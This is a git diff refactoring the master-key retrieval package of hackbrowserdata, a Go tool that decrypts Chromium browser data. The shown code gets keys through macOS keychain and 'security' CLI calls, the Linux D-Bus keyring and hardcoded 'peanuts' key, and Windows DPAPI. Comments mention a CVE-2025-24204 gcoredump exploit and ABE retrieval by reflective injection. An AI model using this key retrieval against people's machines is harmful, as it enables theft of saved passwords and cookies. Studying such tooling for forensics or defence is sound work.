macOS `security` CLI (may prompt). Results are // cached per storage name so each browser's key is fetched once. -type SecurityCmdRetriever struct { +type securityRetriever struct { mu sync.Mutex cache map[string]securityResult } @@ -112,8 +106,10 @@ type securityResult struct { err error } -func (r *SecurityCmdRetriever) RetrieveKey(hints Hints) ([]byte, error) { - storage := hints.KeychainLabel +func (*securityRetriever) Version() Version { return V10 } + +func (r *securityRetriever) Retrieve(ctx context.Context, loc Locator) ([]byte, error) { + storage := loc.KeychainLabel r.mu.Lock() defer r.mu.Unlock() @@ -121,13 +117,13 @@ func (r *SecurityCmdRetriever) RetrieveKey(hints Hints) ([]byte, error) { return res.key, res.err } - key, err := r.retrieveKeyOnce(storage) + key, err := r.retrieveKeyOnce(ctx, storage) r.cache[storage] = securityResult{key: key, err: err} return key, err } -func (r *SecurityCmdRetriever) retrieveKeyOnce(storage string) ([]byte, error) { - ctx, cancel := context.WithTimeout(context.Background(), securityCmdTimeout) +func (r *securityRetriever) retrieveKeyOnce(ctx context.Context, storage string) ([]byte, error) { + ctx, cancel := context.WithTimeout(ctx, securityCmdTimeout) defer cancel() var stdout, stderr bytes.Buffer @@ -158,16 +154,3 @@ func (r *SecurityCmdRetriever) retrieveKeyOnce(storage string) ([]byte, error) { return darwinParams.deriveKey(secret), nil } - -// DefaultRetrievers wires the macOS V10 chain (the only tier Chromium uses here), first success wins: -// 1. GcoredumpRetriever — CVE-2025-24204 exploit (root only) -// 2. KeychainPasswordRetriever — direct unlock, skipped when password is empty -// 3. SecurityCmdRetriever — `security` CLI fallback (may prompt) -func DefaultRetrievers(keychainPassword string) Retrievers { - chain := []Retriever{&GcoredumpRetriever{}} - if keychainPassword != "" { - chain = append(chain, &KeychainPasswordRetriever{Password: keychainPassword}) - } - chain = append(chain, &SecurityCmdRetriever{cache: make(map[string]securityResult)}) - return Retrievers{V10: NewChain(chain...)} -} diff --git a/internal/masterkey/retriever_darwin_test.go b/internal/masterkey/retriever_darwin_test.go new file mode 100644 index 0000000..4fa567a --- /dev/null +++ b/internal/masterkey/retriever_darwin_test.go @@ -0,0 +1,95 @@ +//go:build darwin + +package masterkey + +import ( + "context" + "fmt" + "testing" + + "github.com/moond4rk/keychainbreaker" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + + "github.com/moond4rk/hackbrowserdata/internal/keychain" +) + +func TestFindStorageKey_Found(t *testing.T) { + records := []keychainbreaker.GenericPassword{ + {Account: "Chrome", Password: []byte("mock-secret")}, + {Account: "Brave", Password: []byte("brave-secret")}, + } + + key, err := findStorageKey(records, "Chrome") + require.NoError(t, err) + assert.Equal(t, darwinParams.deriveKey([]byte("mock-secret")), key) +} + +func TestFindStorageKey_NotFound(t *testing.T) { + records := []keychainbreaker.GenericPassword{ + {Account: "Chrome", Password: []byte("mock-secret")}, + } + + key, err := findStorageKey(records, "Firefox") + require.Error(t, err) + assert.Nil(t, key) + assert.ErrorIs(t, err, errStorageNotFound) +} + +type fakeKeychain struct { + secrets map[string][]byte + err error + asked []string +} + +func (k *fakeKeychain) GenericPassword(_ context.Context, account string) ([]byte, error) { + k.asked = append(k.asked, account) + if k.err != nil { + return nil, k.err + } + secret, ok := k.secrets[account] + if !ok { + return nil, fmt.Errorf("%q: not found", account) + } + return secret, nil +} + +func TestKeychainRetriever(t *testing.T) { + ctx := context.Background() + loc := func(kc LoginKeychain) Locator { return Locator{KeychainLabel: "Chrome", Keychain: kc} } + + t.Run("no keychain steps aside", func(t *testing.T) { + _, err := keychainRetriever{}.Retrieve(ctx, Locator{KeychainLabel: "Chrome"}) + require.ErrorIs(t, err, ErrNotApplicable) + }) + + t.Run("locked keychain steps aside", func(t *testing.T) { + kc := &fakeKeychain{err: fmt.Errorf("%w: wrong password", keychain.ErrLocked)} + _, err := keychainRetriever{}.Retrieve(ctx, loc(kc)) + require.ErrorIs(t, err, ErrNotApplicable) + }) + + t.Run("secret derives the v10 key", func(t *testing.T) { + kc := &fakeKeychain{secrets: map[string][]byte{"Chrome": []byte("mock-secret")}} + key, err := keychainRetriever{}.Retrieve(ctx, loc(kc)) + require.NoError(t, err) + assert.Equal(t, darwinParams.deriveKey([]byte("mock-secret")), key) + assert.Equal(t, []string{"Chrome"}, kc.asked) + }) + + t.Run("missing label is an error", func(t *testing.T) { + _, err := keychainRetriever{}.Retrieve(ctx, loc(&fakeKeychain{secrets: map[string][]byte{}})) + require.Error(t, err) + assert.NotErrorIs(t, err, ErrNotApplicable) + }) +} + +func TestPlatformRetrievers_Darwin(t *testing.T) { + require.Len(t, platformRetrievers, 3) + assert.IsType(t, &gcoredumpRetriever{}, platformRetrievers[0]) + assert.IsType(t, keychainRetriever{}, platformRetrievers[1]) + assert.IsType(t, &securityRetriever{}, platformRetrievers[2]) + for _, r := range platformRetrievers { + assert.Equal(t, V10, r.Version()) + } +} diff --git a/masterkey/retriever_linux.go b/internal/masterkey/retriever_linux.go similarity index 67% rename from masterkey/retriever_linux.go rename to internal/masterkey/retriever_linux.go index 407b0ec..7090544 100644 --- a/masterkey/retriever_linux.go +++ b/internal/masterkey/retriever_linux.go @@ -3,6 +3,7 @@ package masterkey import ( + "context" "crypto/sha1" "fmt" @@ -18,11 +19,17 @@ var linuxParams = pbkdf2Params{ hashFunc: sha1.New, } -// DBusRetriever queries GNOME Keyring / KDE Wallet via D-Bus Secret Service. -type DBusRetriever struct{} +// One per prefix Chromium emits: v10 = PBKDF2("peanuts") when no keyring exists, v11 = PBKDF2(keyring secret). +// A profile carries both if the host moved between headless and keyring sessions. +var platformRetrievers = []Retriever{posixRetriever{}, dbusRetriever{}} -func (r *DBusRetriever) RetrieveKey(hints Hints) ([]byte, error) { - storage := hints.KeychainLabel +// dbusRetriever queries GNOME Keyring / KDE Wallet via D-Bus Secret Service. +type dbusRetriever struct{} + +func (dbusRetriever) Version() Version { return V11 } + +func (dbusRetriever) Retrieve(_ context.Context, loc Locator) ([]byte, error) { + storage := loc.KeychainLabel conn, err := dbus.SessionBus() if err != nil { return nil, fmt.Errorf("dbus session: %w", err) @@ -69,20 +76,12 @@ func (r *DBusRetriever) RetrieveKey(hints Hints) ([]byte, error) { return nil, fmt.Errorf("%q: %w", storage, errStorageNotFound) } -// PosixRetriever derives Chromium's kV10Key via PBKDF2 over the hardcoded "peanuts" password — the +// posixRetriever derives Chromium's kV10Key via PBKDF2 over the hardcoded "peanuts" password — the // deterministic v10 key used when no keyring exists (headless/Docker/CI). Mirrors PosixKeyProvider. -type PosixRetriever struct{} +type posixRetriever struct{} -func (r *PosixRetriever) RetrieveKey(_ Hints) ([]byte, error) { +func (posixRetriever) Version() Version { return V10 } + +func (posixRetriever) Retrieve(context.Context, Locator) ([]byte, error) { return linuxParams.deriveKey([]byte("peanuts")), nil } - -// DefaultRetrievers wires the Linux tiers, one per prefix Chromium emits: v10 = PBKDF2("peanuts") -// (kV10Key, no keyring); v11 = PBKDF2(keyring secret) (kV11Key, via D-Bus). A profile can carry both -// if the host moved between headless and keyring sessions, so both run independently. -func DefaultRetrievers() Retrievers { - return Retrievers{ - V10: &PosixRetriever{}, - V11: &DBusRetriever{}, - } -} diff --git a/masterkey/retriever_linux_test.go b/internal/masterkey/retriever_linux_test.go similarity index 50% rename from masterkey/retriever_linux_test.go rename to internal/masterkey/retriever_linux_test.go index 402767f..77e5af9 100644 --- a/masterkey/retriever_linux_test.go +++ b/internal/masterkey/retriever_linux_test.go @@ -3,6 +3,7 @@ package masterkey import ( + "context" "testing" "github.com/stretchr/testify/assert" @@ -10,9 +11,9 @@ import ( ) func TestPosixRetriever(t *testing.T) { - r := &PosixRetriever{} + r := posixRetriever{} - key, err := r.RetrieveKey(Hints{KeychainLabel: "Chrome"}) + key, err := r.Retrieve(context.Background(), Locator{KeychainLabel: "Chrome"}) require.NoError(t, err) assert.Equal(t, linuxParams.deriveKey([]byte("peanuts")), key) assert.Len(t, key, linuxParams.keySize) @@ -27,40 +28,29 @@ func TestPosixRetriever(t *testing.T) { } assert.False(t, allZero, "derived key should not be all zeros") - // "peanuts" is a hardcoded password, so the result should be the same regardless of the hints + // "peanuts" is a hardcoded password, so the result should be the same regardless of the locator // or number of calls. - key2, err := r.RetrieveKey(Hints{KeychainLabel: "Brave"}) + key2, err := r.Retrieve(context.Background(), Locator{KeychainLabel: "Brave"}) require.NoError(t, err) assert.Equal(t, key, key2, "kV10Key should be constant across any storage label") } -// TestPosixRetriever_MatchesChromiumKV10Key pins PosixRetriever's output to Chromium's kV10Key +// TestPosixRetriever_MatchesChromiumKV10Key pins posixRetriever's output to Chromium's kV10Key // reference bytes (PBKDF2-HMAC-SHA1 of "peanuts" with "saltysalt", 1 iteration, 16 bytes). func TestPosixRetriever_MatchesChromiumKV10Key(t *testing.T) { want := []byte{ 0xfd, 0x62, 0x1f, 0xe5, 0xa2, 0xb4, 0x02, 0x53, 0x9d, 0xfa, 0x14, 0x7c, 0xa9, 0x27, 0x27, 0x78, } - r := &PosixRetriever{} - key, err := r.RetrieveKey(Hints{}) + key, err := posixRetriever{}.Retrieve(context.Background(), Locator{}) require.NoError(t, err) assert.Equal(t, want, key) } -func TestDefaultRetrievers_Linux(t *testing.T) { - r := DefaultRetrievers() - - // V10 slot: peanuts-derived kV10Key — PosixRetriever. - assert.IsType(t, &PosixRetriever{}, r.V10, "V10 slot should hold PosixRetriever (peanuts kV10Key)") - - // V11 slot: D-Bus keyring kV11Key — DBusRetriever. - assert.IsType(t, &DBusRetriever{}, r.V11, "V11 slot should hold DBusRetriever (keyring kV11Key)") - - // V20 slot: ABE is Windows-only, nil on Linux. - assert.Nil(t, r.V20, "V20 slot must stay nil on Linux") - - // Smoke: both populated slots must actually retrieve (PosixRetriever always succeeds; DBus may - // fail in test env, which is fine — we only want to confirm the wiring, not real keys). - require.NotNil(t, r.V10) - require.NotNil(t, r.V11) +func TestPlatformRetrievers_Linux(t *testing.T) { + require.Len(t, platformRetrievers, 2) + assert.IsType(t, posixRetriever{}, platformRetrievers[0], "v10 is the peanuts kV10Key") + assert.IsType(t, dbusRetriever{}, platformRetrievers[1], "v11 is the D-Bus keyring kV11Key") + assert.Equal(t, V10, platformRetrievers[0].Version()) + assert.Equal(t, V11, platformRetrievers[1].Version()) } diff --git a/masterkey/retriever_windows.go b/internal/masterkey/retriever_windows.go similarity index 56% rename from masterkey/retriever_windows.go rename to internal/masterkey/retriever_windows.go index 5a7c50a..995ab1e 100644 --- a/masterkey/retriever_windows.go +++ b/internal/masterkey/retriever_windows.go @@ -3,20 +3,26 @@ package masterkey import ( + "context" "encoding/base64" "fmt" "os" "github.com/tidwall/gjson" - "github.com/moond4rk/hackbrowserdata/crypto" + "github.com/moond4rk/hackbrowserdata/internal/winapi" ) -// DPAPIRetriever unwraps Chrome's Local State os_crypt.encrypted_key via Windows DPAPI. -type DPAPIRetriever struct{} +// Both run: a profile upgraded past Chrome 127 holds v10 and v20 values side by side. +var platformRetrievers = []Retriever{dpapiRetriever{}, abeRetriever{}} -func (r *DPAPIRetriever) RetrieveKey(hints Hints) ([]byte, error) { - data, err := os.ReadFile(hints.LocalStatePath) +// dpapiRetriever unwraps Chrome's Local State os_crypt.encrypted_key via Windows DPAPI. +type dpapiRetriever struct{} + +func (dpapiRetriever) Version() Version { return V10 } + +func (dpapiRetriever) Retrieve(_ context.Context, loc Locator) ([]byte, error) { + data, err := os.ReadFile(loc.LocalState) if err != nil { return nil, fmt.Errorf("read Local State: %w", err) } @@ -39,18 +45,14 @@ func (r *DPAPIRetriever) RetrieveKey(hints Hints) ([]byte, error) { return nil, fmt.Errorf("encrypted_key unexpected prefix: got %q, want %q", keyBytes[:len(dpapiPrefix)], dpapiPrefix) } - masterKey, err := crypto.DecryptDPAPI(keyBytes[len(dpapiPrefix):]) + masterKey, err := winapi.DecryptDPAPI(keyBytes[len(dpapiPrefix):]) if err != nil { return nil, fmt.Errorf("DPAPI decrypt: %w", err) } return masterKey, nil } -// DefaultRetrievers wires the Windows tiers: DPAPI for v10, ABE for v20 (Chrome 127+, via reflective -// injection). Both run — a profile upgraded from pre-v127 mixes v10+v20 and needs both (issue #578). -func DefaultRetrievers() Retrievers { - return Retrievers{ - V10: &DPAPIRetriever{}, - V20: &ABERetriever{}, - } +// DecryptDPAPI decrypts a legacy Chromium value that has no version prefix, with the live user's DPAPI context. +func DecryptDPAPI(blob []byte) ([]byte, error) { + return winapi.DecryptDPAPI(blob) } diff --git a/utils/winapi/console_windows.go b/internal/winapi/console_windows.go similarity index 100% rename from utils/winapi/console_windows.go rename to internal/winapi/console_windows.go diff --git a/utils/winapi/dpapi_windows.go b/internal/winapi/dpapi_windows.go similarity index 95% rename from utils/winapi/dpapi_windows.go rename to internal/winapi/dpapi_windows.go index eb50dba..33b6f1e 100644 --- a/utils/winapi/dpapi_windows.go +++ b/internal/winapi/dpapi_windows.go @@ -33,7 +33,7 @@ func (b *dataBlob) bytes() []byte { // DecryptDPAPI decrypts a DPAPI-protected blob using the current user's // master key. It is the Windows counterpart to macOS/Linux os_crypt -// fallbacks and is called by crypto.DecryptDPAPI. +// fallbacks and is called by masterkey. func DecryptDPAPI(ciphertext []byte) ([]byte, error) { var out dataBlob r, _, err := procCryptUnprotectData.Call( diff --git a/utils/winutil/browser_path_windows.go b/internal/winapi/executable_windows.go similarity index 74% rename from utils/winutil/browser_path_windows.go rename to internal/winapi/executable_windows.go index a15776f..6e13931 100644 --- a/utils/winutil/browser_path_windows.go +++ b/internal/winapi/executable_windows.go @@ -1,6 +1,6 @@ //go:build windows -package winutil +package winapi import ( "errors" @@ -11,8 +11,6 @@ import ( "golang.org/x/sys/windows" "golang.org/x/sys/windows/registry" - - "github.com/moond4rk/hackbrowserdata/utils/winapi" ) // ErrExecutableNotFound is returned when a browser's executable cannot be @@ -25,35 +23,31 @@ var ErrExecutableNotFound = errors.New("browser executable not found") // 3. Running-process probe — scan EnumProcesses for a match by exe name // and return the owner's QueryFullProcessImageName. Picks up portable // builds and non-standard installs that never wrote to App Paths. -// 4. Hard-coded InstallFallbacks from Table (last resort when the browser +// 4. Hard-coded install fallbacks (last resort when the browser // is not running and the registry is missing the entry). -// -// browserKey must match an Entry in Table; keys align with -// browser.BrowserConfig.Key (for configs that set WindowsABE: true). -func ExecutablePath(browserKey string) (string, error) { - entry, ok := Table[browserKey] - if !ok { - return "", fmt.Errorf("%w: %q (no lookup entry)", ErrExecutableNotFound, browserKey) +func ExecutablePath(exeName string, fallbacks []string) (string, error) { + if exeName == "" { + return "", fmt.Errorf("%w: no executable name", ErrExecutableNotFound) } - if p, err := appPathsLookup(entry.ExeName, registry.LOCAL_MACHINE); err == nil { + if p, err := appPathsLookup(exeName, registry.LOCAL_MACHINE); err == nil { return p, nil } - if p, err := appPathsLookup(entry.ExeName, registry.CURRENT_USER); err == nil { + if p, err := appPathsLookup(exeName, registry.CURRENT_USER); err == nil { return p, nil } - if p := runningProcessPath(entry.ExeName); p != "" { + if p := runningProcessPath(exeName); p != "" { return p, nil } - for _, candidate := range entry.InstallFallbacks { - // Use winapi.ExpandEnvString (kernel32!ExpandEnvironmentStringsW) + for _, candidate := range fallbacks { + // Use ExpandEnvString (kernel32!ExpandEnvironmentStringsW) // rather than os.ExpandEnv: Go stdlib only understands Unix-style // $VAR / ${VAR} and leaves Windows-style %VAR% untouched, which // would make every fallback path fail to resolve. Verified on // Windows 10 19044 + Go 1.20.14. - expanded, err := winapi.ExpandEnvString(candidate) + expanded, err := ExpandEnvString(candidate) if err != nil { continue } @@ -63,7 +57,7 @@ func ExecutablePath(browserKey string) (string, error) { } return "", fmt.Errorf("%w: %q (registry miss, no running process, no fallback match)", - ErrExecutableNotFound, browserKey) + ErrExecutableNotFound, exeName) } // runningProcessPath scans live processes for one whose image filename @@ -71,7 +65,7 @@ func ExecutablePath(browserKey string) (string, error) { // first hit. Errors are swallowed — this is a best-effort probe that // yields to the hard-coded fallbacks if nothing matches. func runningProcessPath(exeName string) string { - pids, err := winapi.EnumProcesses() + pids, err := EnumProcesses() if err != nil { return "" } @@ -83,7 +77,7 @@ func runningProcessPath(exeName string) string { if err != nil { continue } - path, err := winapi.QueryFullProcessImageName(h) + path, err := QueryFullProcessImageName(h) _ = windows.CloseHandle(h) if err != nil || path == "" { continue diff --git a/utils/winapi/process_windows.go b/internal/winapi/process_windows.go similarity index 100% rename from utils/winapi/process_windows.go rename to internal/winapi/process_windows.go diff --git a/utils/winapi/sysinfo_windows.go b/internal/winapi/sysinfo_windows.go similarity index 100% rename from utils/winapi/sysinfo_windows.go rename to internal/winapi/sysinfo_windows.go diff --git a/utils/winapi/winapi_windows.go b/internal/winapi/winapi_windows.go similarity index 92% rename from utils/winapi/winapi_windows.go rename to internal/winapi/winapi_windows.go index c6d624d..8931180 100644 --- a/utils/winapi/winapi_windows.go +++ b/internal/winapi/winapi_windows.go @@ -5,8 +5,7 @@ // that golang.org/x/sys/windows does not cover, plus shared LazyDLL // handles and a small error-handling helper. // -// Callers: utils/injector, filemanager, crypto. Higher-level Windows -// browser utilities live in utils/winutil. +// Callers: utils/injector, filemanager, masterkey. package winapi import ( diff --git a/masterkey/masterkeys.go b/masterkey/masterkeys.go deleted file mode 100644 index 4fc4e30..0000000 --- a/masterkey/masterkeys.go +++ /dev/null @@ -1,53 +0,0 @@ -package masterkey - -import ( - "errors" - "fmt" -) - -// MasterKeys holds one key per cipher tier; a profile can mix tiers (Win v10+v20, Linux v10+v11), -// so each is populated independently. A nil tier = that cipher version can't be decrypted. -type MasterKeys struct { - V10 []byte `json:"v10,omitempty"` - V11 []byte `json:"v11,omitempty"` - V20 []byte `json:"v20,omitempty"` -} - -func (k MasterKeys) HasAny() bool { - return k.V10 != nil || k.V11 != nil || k.V20 != nil -} - -// Retrievers is the per-tier retriever configuration; unused slots are nil. -type Retrievers struct { - V10 Retriever - V11 Retriever - V20 Retriever -} - -// NewMasterKeys fetches each non-nil tier and joins per-tier errors. A retriever returning (nil, nil) -// means "tier not applicable" and contributes no key. Never logs — the caller decides severity. -func NewMasterKeys(r Retrievers, hints Hints) (MasterKeys, error) { - var keys MasterKeys - var errs []error - - for _, t := range []struct { - name string - r Retriever - dst *[]byte - }{ - {"v10", r.V10, &keys.V10}, - {"v11", r.V11, &keys.V11}, - {"v20", r.V20, &keys.V20}, - } { - if t.r == nil { - continue - } - k, err := t.r.RetrieveKey(hints) - if err != nil { - errs = append(errs, fmt.Errorf("%s: %w", t.name, err)) - continue - } - *t.dst = k - } - return keys, errors.Join(errs...) -} diff --git a/masterkey/masterkeys_test.go b/masterkey/masterkeys_test.go deleted file mode 100644 index 069aac6..0000000 --- a/masterkey/masterkeys_test.go +++ /dev/null @@ -1,175 +0,0 @@ -package masterkey - -import ( - "bytes" - "errors" - "testing" - - "github.com/stretchr/testify/assert" - "github.com/stretchr/testify/require" -) - -// recordingRetriever captures call count and arguments so tests can verify each tier's retriever -// is invoked exactly once with the expected hints. -type recordingRetriever struct { - key []byte - err error - - calls int - gotHints Hints -} - -func (r *recordingRetriever) RetrieveKey(hints Hints) ([]byte, error) { - r.calls++ - r.gotHints = hints - return r.key, r.err -} - -func TestNewMasterKeys_Matrix(t *testing.T) { - k10 := bytes.Repeat([]byte{0x10}, 32) - k11 := bytes.Repeat([]byte{0x11}, 32) - k20 := bytes.Repeat([]byte{0x20}, 32) - - tests := []struct { - name string - v10 *recordingRetriever - v11 *recordingRetriever - v20 *recordingRetriever - wantV10 []byte - wantV11 []byte - wantV20 []byte - wantErrParts []string // substrings that must all appear in the joined error; nil = no error - }{ - { - name: "Windows happy path (V10+V20 ok, V11 not configured)", - v10: &recordingRetriever{key: k10}, - v20: &recordingRetriever{key: k20}, - wantV10: k10, wantV20: k20, - }, - { - name: "Linux happy path (V10+V11 ok, V20 not configured)", - v10: &recordingRetriever{key: k10}, - v11: &recordingRetriever{key: k11}, - wantV10: k10, wantV11: k11, - }, - { - name: "macOS happy path (V10 only)", - v10: &recordingRetriever{key: k10}, - wantV10: k10, - }, - { - name: "all three tiers succeed", - v10: &recordingRetriever{key: k10}, - v11: &recordingRetriever{key: k11}, - v20: &recordingRetriever{key: k20}, - wantV10: k10, wantV11: k11, wantV20: k20, - }, - { - name: "one tier errors, others succeed (degraded)", - v10: &recordingRetriever{key: k10}, - v20: &recordingRetriever{err: errors.New("inject failed")}, - wantV10: k10, - wantErrParts: []string{"v20: inject failed"}, - }, - { - name: "two tiers error, one succeeds", - v10: &recordingRetriever{key: k10}, - v11: &recordingRetriever{err: errors.New("dbus failed")}, - v20: &recordingRetriever{err: errors.New("inject failed")}, - wantV10: k10, - wantErrParts: []string{"v11: dbus failed", "v20: inject failed"}, - }, - { - name: "all three tiers error (total failure)", - v10: &recordingRetriever{err: errors.New("dpapi failed")}, - v11: &recordingRetriever{err: errors.New("dbus failed")}, - v20: &recordingRetriever{err: errors.New("inject failed")}, - wantErrParts: []string{"v10: dpapi failed", "v11: dbus failed", "v20: inject failed"}, - }, - { - name: "tier returns (nil, nil) — not applicable, silent", - v10: &recordingRetriever{key: k10}, - v20: &recordingRetriever{}, // ABERetriever on non-ABE fork - wantV10: k10, - }, - { - name: "all tiers (nil, nil) — no keys, no errors", - v10: &recordingRetriever{}, - v11: &recordingRetriever{}, - v20: &recordingRetriever{}, - }, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - var r Retrievers - if tt.v10 != nil { - r.V10 = tt.v10 - } - if tt.v11 != nil { - r.V11 = tt.v11 - } - if tt.v20 != nil { - r.V20 = tt.v20 - } - - keys, err := NewMasterKeys(r, Hints{KeychainLabel: "chrome", LocalStatePath: "/tmp/Local State"}) - assert.Equal(t, tt.wantV10, keys.V10) - assert.Equal(t, tt.wantV11, keys.V11) - assert.Equal(t, tt.wantV20, keys.V20) - - if len(tt.wantErrParts) == 0 { - require.NoError(t, err) - } else { - require.Error(t, err) - for _, part := range tt.wantErrParts { - assert.Contains(t, err.Error(), part, "joined error should mention each failing tier") - } - } - - // Every configured retriever must be called exactly once — this is the property - // that prevents any regression where a tier is silently bypassed. - for name, mock := range map[string]*recordingRetriever{"V10": tt.v10, "V11": tt.v11, "V20": tt.v20} { - if mock == nil { - continue - } - assert.Equal(t, 1, mock.calls, "%s retriever should be called exactly once", name) - assert.Equal(t, Hints{KeychainLabel: "chrome", LocalStatePath: "/tmp/Local State"}, mock.gotHints) - } - }) - } -} - -func TestNewMasterKeys_AllNilRetrievers(t *testing.T) { - // All slots nil — macOS/Linux with no retriever wiring, or Windows with neither tier set up. - keys, err := NewMasterKeys(Retrievers{}, Hints{KeychainLabel: "chrome", LocalStatePath: "/tmp/Local State"}) - require.NoError(t, err) - assert.Nil(t, keys.V10) - assert.Nil(t, keys.V11) - assert.Nil(t, keys.V20) -} - -func TestNewMasterKeys_PartialNil(t *testing.T) { - // Only V10 wired — typical macOS shape. V11/V20 left nil. - k10 := []byte("v10-key-bytes-for-testing") - r := &recordingRetriever{key: k10} - keys, err := NewMasterKeys(Retrievers{V10: r}, Hints{KeychainLabel: "Chrome"}) - - require.NoError(t, err) - assert.Equal(t, k10, keys.V10) - assert.Nil(t, keys.V11) - assert.Nil(t, keys.V20) - assert.Equal(t, 1, r.calls) - assert.Equal(t, Hints{KeychainLabel: "Chrome"}, r.gotHints) -} - -func TestNewMasterKeys_ErrorWrapping(t *testing.T) { - // errors.Is should traverse errors.Join to find the original error — useful for callers - // that want to check for specific error types without string matching. - sentinel := errors.New("sentinel") - r := Retrievers{V20: &recordingRetriever{err: sentinel}} - - _, err := NewMasterKeys(r, Hints{KeychainLabel: "chrome"}) - require.Error(t, err) - assert.ErrorIs(t, err, sentinel, "errors.Is should find wrapped sentinel error") -} diff --git a/masterkey/retriever.go b/masterkey/retriever.go deleted file mode 100644 index e1a90fb..0000000 --- a/masterkey/retriever.go +++ /dev/null @@ -1,49 +0,0 @@ -// Package masterkey retrieves Chromium master keys (per-platform retrievers + a cross-host Dump format). -// Firefox and Safari own their own key paths and don't route through here. -package masterkey - -import ( - "errors" - "fmt" - - "github.com/moond4rk/hackbrowserdata/internal/log" -) - -// errStorageNotFound: the browser's account is absent from the credential store (keychain/keyring). -var errStorageNotFound = errors.New("not found in credential store") //nolint:unused // only used on darwin and linux - -// Hints bundles inputs for Retriever; each retriever reads only the field that applies to it. -type Hints struct { - KeychainLabel string // macOS Keychain account / Linux D-Bus Secret Service label - WindowsABEKey string // Windows ABE browser key (e.g. "chrome"); "" → ABE not applicable - LocalStatePath string // path to (temp-copied) Local State JSON; only used on Windows -} - -// Retriever obtains a Chromium master key from one platform source (DPAPI, Keychain, D-Bus, …). -type Retriever interface { - RetrieveKey(hints Hints) ([]byte, error) -} - -// ChainRetriever tries retrievers in order, first success wins (macOS V10: gcoredump→password→security). -type ChainRetriever struct { - retrievers []Retriever -} - -func NewChain(retrievers ...Retriever) Retriever { - return &ChainRetriever{retrievers: retrievers} -} - -func (c *ChainRetriever) RetrieveKey(hints Hints) ([]byte, error) { - var errs []error - for _, r := range c.retrievers { - key, err := r.RetrieveKey(hints) - if err == nil && len(key) > 0 { - return key, nil - } - if err != nil { - log.Debugf("retriever %T failed: %v", r, err) - errs = append(errs, fmt.Errorf("%T: %w", r, err)) - } - } - return nil, fmt.Errorf("all retrievers failed: %w", errors.Join(errs...)) -} diff --git a/masterkey/retriever_darwin_test.go b/masterkey/retriever_darwin_test.go deleted file mode 100644 index 2982108..0000000 --- a/masterkey/retriever_darwin_test.go +++ /dev/null @@ -1,41 +0,0 @@ -//go:build darwin - -package masterkey - -import ( - "testing" - - "github.com/moond4rk/keychainbreaker" - "github.com/stretchr/testify/assert" - "github.com/stretchr/testify/require" -) - -func TestFindStorageKey_Found(t *testing.T) { - records := []keychainbreaker.GenericPassword{ - {Account: "Chrome", Password: []byte("mock-secret")}, - {Account: "Brave", Password: []byte("brave-secret")}, - } - - key, err := findStorageKey(records, "Chrome") - require.NoError(t, err) - assert.Equal(t, darwinParams.deriveKey([]byte("mock-secret")), key) -} - -func TestFindStorageKey_NotFound(t *testing.T) { - records := []keychainbreaker.GenericPassword{ - {Account: "Chrome", Password: []byte("mock-secret")}, - } - - key, err := findStorageKey(records, "Firefox") - require.Error(t, err) - assert.Nil(t, key) - assert.ErrorIs(t, err, errStorageNotFound) -} - -func TestKeychainPasswordRetriever_EmptyPassword(t *testing.T) { - r := &KeychainPasswordRetriever{Password: ""} - key, err := r.RetrieveKey(Hints{KeychainLabel: "Chrome"}) - require.Error(t, err) - assert.Nil(t, key) - assert.Contains(t, err.Error(), "keychain password not provided") -} diff --git a/masterkey/retriever_test.go b/masterkey/retriever_test.go deleted file mode 100644 index c9c2a41..0000000 --- a/masterkey/retriever_test.go +++ /dev/null @@ -1,69 +0,0 @@ -package masterkey - -import ( - "errors" - "testing" - - "github.com/stretchr/testify/assert" - "github.com/stretchr/testify/require" -) - -type mockRetriever struct { - key []byte - err error -} - -func (m *mockRetriever) RetrieveKey(_ Hints) ([]byte, error) { - return m.key, m.err -} - -func TestChainRetriever_FirstSuccess(t *testing.T) { - chain := NewChain( - &mockRetriever{key: []byte("first-key")}, - &mockRetriever{key: []byte("second-key")}, - ) - key, err := chain.RetrieveKey(Hints{KeychainLabel: "Chrome"}) - require.NoError(t, err) - assert.Equal(t, []byte("first-key"), key) -} - -func TestChainRetriever_FallbackOnError(t *testing.T) { - chain := NewChain( - &mockRetriever{err: errors.New("first failed")}, - &mockRetriever{key: []byte("fallback-key")}, - ) - key, err := chain.RetrieveKey(Hints{KeychainLabel: "Chrome"}) - require.NoError(t, err) - assert.Equal(t, []byte("fallback-key"), key) -} - -func TestChainRetriever_AllFail(t *testing.T) { - chain := NewChain( - &mockRetriever{err: errors.New("first failed")}, - &mockRetriever{err: errors.New("second failed")}, - ) - key, err := chain.RetrieveKey(Hints{KeychainLabel: "Chrome"}) - require.Error(t, err) - assert.Nil(t, key) - assert.Contains(t, err.Error(), "all retrievers failed") - assert.Contains(t, err.Error(), "first failed") - assert.Contains(t, err.Error(), "second failed") -} - -func TestChainRetriever_SkipEmptyKey(t *testing.T) { - // First returns nil key without error — should skip to next - chain := NewChain( - &mockRetriever{key: nil, err: nil}, - &mockRetriever{key: []byte("real-key")}, - ) - key, err := chain.RetrieveKey(Hints{KeychainLabel: "Chrome"}) - require.NoError(t, err) - assert.Equal(t, []byte("real-key"), key) -} - -func TestChainRetriever_Empty(t *testing.T) { - chain := NewChain() - key, err := chain.RetrieveKey(Hints{KeychainLabel: "Chrome"}) - require.Error(t, err) - assert.Nil(t, key) -} diff --git a/masterkey/static.go b/masterkey/static.go deleted file mode 100644 index 315f001..0000000 --- a/masterkey/static.go +++ /dev/null @@ -1,19 +0,0 @@ -package masterkey - -// StaticRetriever returns pre-supplied key bytes (from a Dump) instead of platform retrieval, ignoring -// Hints. An empty key returns (nil, nil) — the "tier not applicable" signal NewMasterKeys expects. -type StaticRetriever struct { - key []byte -} - -// NewStaticRetriever wraps key bytes; a nil/empty key yields a retriever that reports the tier unavailable. -func NewStaticRetriever(key []byte) *StaticRetriever { - return &StaticRetriever{key: key} -} - -func (p *StaticRetriever) RetrieveKey(_ Hints) ([]byte, error) { - if len(p.key) == 0 { - return nil, nil - } - return p.key, nil -} diff --git a/rfcs/012-migration-roadmap.md b/rfcs/012-migration-roadmap.md index 5b8149a..25e3609 100644 --- a/rfcs/012-migration-roadmap.md +++ b/rfcs/012-migration-roadmap.md @@ -36,7 +36,7 @@ Leaves first, bottom-up along the dependency arrows ([RFC-002](002-package-layou ### Phase 3 — `crypto`, `masterkey`, `keychain`, `winapi` - Make `crypto` pure primitives; move OS secret-store work into `masterkey` — retrievers per OS, `RetrieveAll` with first-key-wins per version and independent versions, `Version` as a string type, `DecryptDPAPI`, the `keys.json` `Dump` unchanged at version 